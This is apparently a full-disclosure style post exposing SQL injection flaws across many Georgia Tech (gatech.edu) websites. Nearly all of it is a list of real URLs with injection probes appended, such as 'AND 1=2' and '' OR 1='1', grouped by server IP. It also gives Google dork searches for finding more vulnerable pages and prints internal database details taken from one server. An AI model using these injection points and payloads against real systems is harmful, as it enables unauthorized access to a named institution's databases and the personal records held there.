********************************************************* Georgia Tech Multiple SQL Injection Vulnerabilities ********************************************************* # # # )\._.,--....,'``. # # .b--. /; _.. \ _\ (`._ ,. # # `=,-,-'~~~ `----(,_..'--(,_..'`-.;.' # # # # Disclosure by: cats # # Domain: gatech.edu # # # # [1] Description # # [2] Extracted sample data # # [3] Vulnerabilities and details # # # ********************************************************* [1] Description A large amount of vulnerabilities have been found in just about every site and service that gatech.edu has online. The ones listed here in this document are just a small amount of the real thing, and these are only SQL injections, which seems to be their biggest issue. And with a simple Google dork, a lot of more vulnerabilites can be found under this domain. Since one of their issues lies in /news/event.php, a simple Google search of that within the domain will show a lot of their affected sites. http://www.google.se/#q=gatech.edu&hl=en&ei=sEe5TMW5KMyVOv 2R2YkN&start=70&sa=N&fp=e32992756bb43726 https://encrypted.google.com/search?q=allinurl:+/news/even t.php%3Fid%3D+site:gatech.edu&hl=en&lr=&ei=2lHKTPm-IcSBlAf bnvHtCg&start=10&sa=N The people responsible for these services have been notified some time ago and they have had a lot of time to fix the issues, although it seems like they are ignoring the warnings. A very limited amount of sensitive information will be disclosed in this document (apart from the vulnerabilities). [2] Extracted sample data IP: 130.207.160.82 URL: http://www.studentaffairs.gatech.edu/plugins/content/index.php?id=21 Database username: studentaffairs@web-plesk1.gatech.edu Database name: studentaffairs Database Version : 5.1.40-community-log Number of tables in database: 228 [3] Vulnerabilities and details 130.207.160.82 http://www.chemistry.gatech.edu/events/special/index.php?sID=1%20AND%201=2 http://www.successprograms.gatech.edu/plugins/content/index.php?id=181' OR 1='1 http://www.studentaffairs.gatech.edu/plugins/content/index.php?id=21' OR 1='1 http://webdev.gatech.edu/46/plugins/content/index.php?id=129' OR 1='1 http://www.cqgrd.gatech.edu/story.php?id=5137%20AND%201=2 http://www.crc.gatech.edu/plugins/content/index.php?id=351%27%20AND%201=%271 http://www.chemistry.gatech.edu/news/release.php?id=4570%20AND%201=1 http://www.inta.gatech.edu/news-events/news/release.php?id=5167%20AND%201=2 http://www.inta.gatech.edu/news-events/events/event.php?id=6439%20AND%201=2 http://www.cetl.gatech.edu/events/event.php?id=5830%27 http://www.profpractice.gatech.edu/news/event.php?id=4019%20AND%201=1 http://www.hts.gatech.edu/news/event.php?id=3679%20AND%201=1 http://www.cope.gatech.edu/news/event.php?id=5900%20AND%201=1 http://www.ptfe.gatech.edu/news/event.php?id=5367%20AND%201=1 http://www.honor.gatech.edu/plugins/content/index.php?id=9%27%20AND%201=%271 http://www.career.gatech.edu/plugins/content/index.php?id=241%27%20AND%201=%271 http://www.gradcoop.gatech.edu/news/event.php?id=5112%20AND%201=2 http://www.coop.gatech.edu/news/event.php?id=5208%20AND%201=2 http://www.op.gatech.edu/news/story.php?id=1256%20AND%201=1 128.61.179.103 http://tempest.arch.gatech.edu/news/story.php?id=1233%20AND%201=1 https://escol.coa.gatech.edu/news/story.php?id=1187%20AND%201=2 130.207.91.98 http://www.ptfe.gatech.edu/news/event.php?id=5803%20AND%201=2 130.207.66.87 http://www.biology.gatech.edu/news/story.php?id=5201%20AND%201=1 http://www.test.biology.gatech.edu/news/story.php?id=3096%20AND%201=1 128.61.135.12 http://www.bme.gatech.edu/calendar/calendar_files/event_info.php?event_id=457%20AND%201=1 130.207.243.18 http://www.housing.gatech.edu/features/FeatureDisplay.cfm?FEATNO=159%20AND%201=2 130.207.244.120 http://www.gatech.edu/departments/index.html?id=1186%20AND%201=1%20-- http://www.gatech.edu/contact/index.html?id=n5183%20AND%201=1 http://www.gatech.edu/news-room/contact-person-news.php?id=1896&n=5183 AND 1=2 Other (Mostly new ones, not checked for blind or visible SQLi) http://www.test.biology.gatech.edu/news/story.php?id=3096%20AND%201=1 http://www.op.gatech.edu/news/story.php?id=1256%20AND%201=1 http://tempest.arch.gatech.edu/news/story.php?id=1233%20AND%201=1 https://escol.coa.gatech.edu/news/story.php?id=1187%20AND%201=2 http://www2.me.gatech.edu/www/theses/summary.asp?db=1&LASTNAME=Abbasi&FIRSTNAME=Zubair' http://dcom.arch.gatech.edu/pcibim/memberscomment.asp?docid=30 http://bim.arch.gatech.edu/app/bimtools/tool.asp?id=431&app_id=15 http://bim.arch.gatech.edu/content_view.asp?id=550%20AND%201=1 (Needs POST data, use the search field) http://www2.me.gatech.edu/www/theses/Search.asp #End of file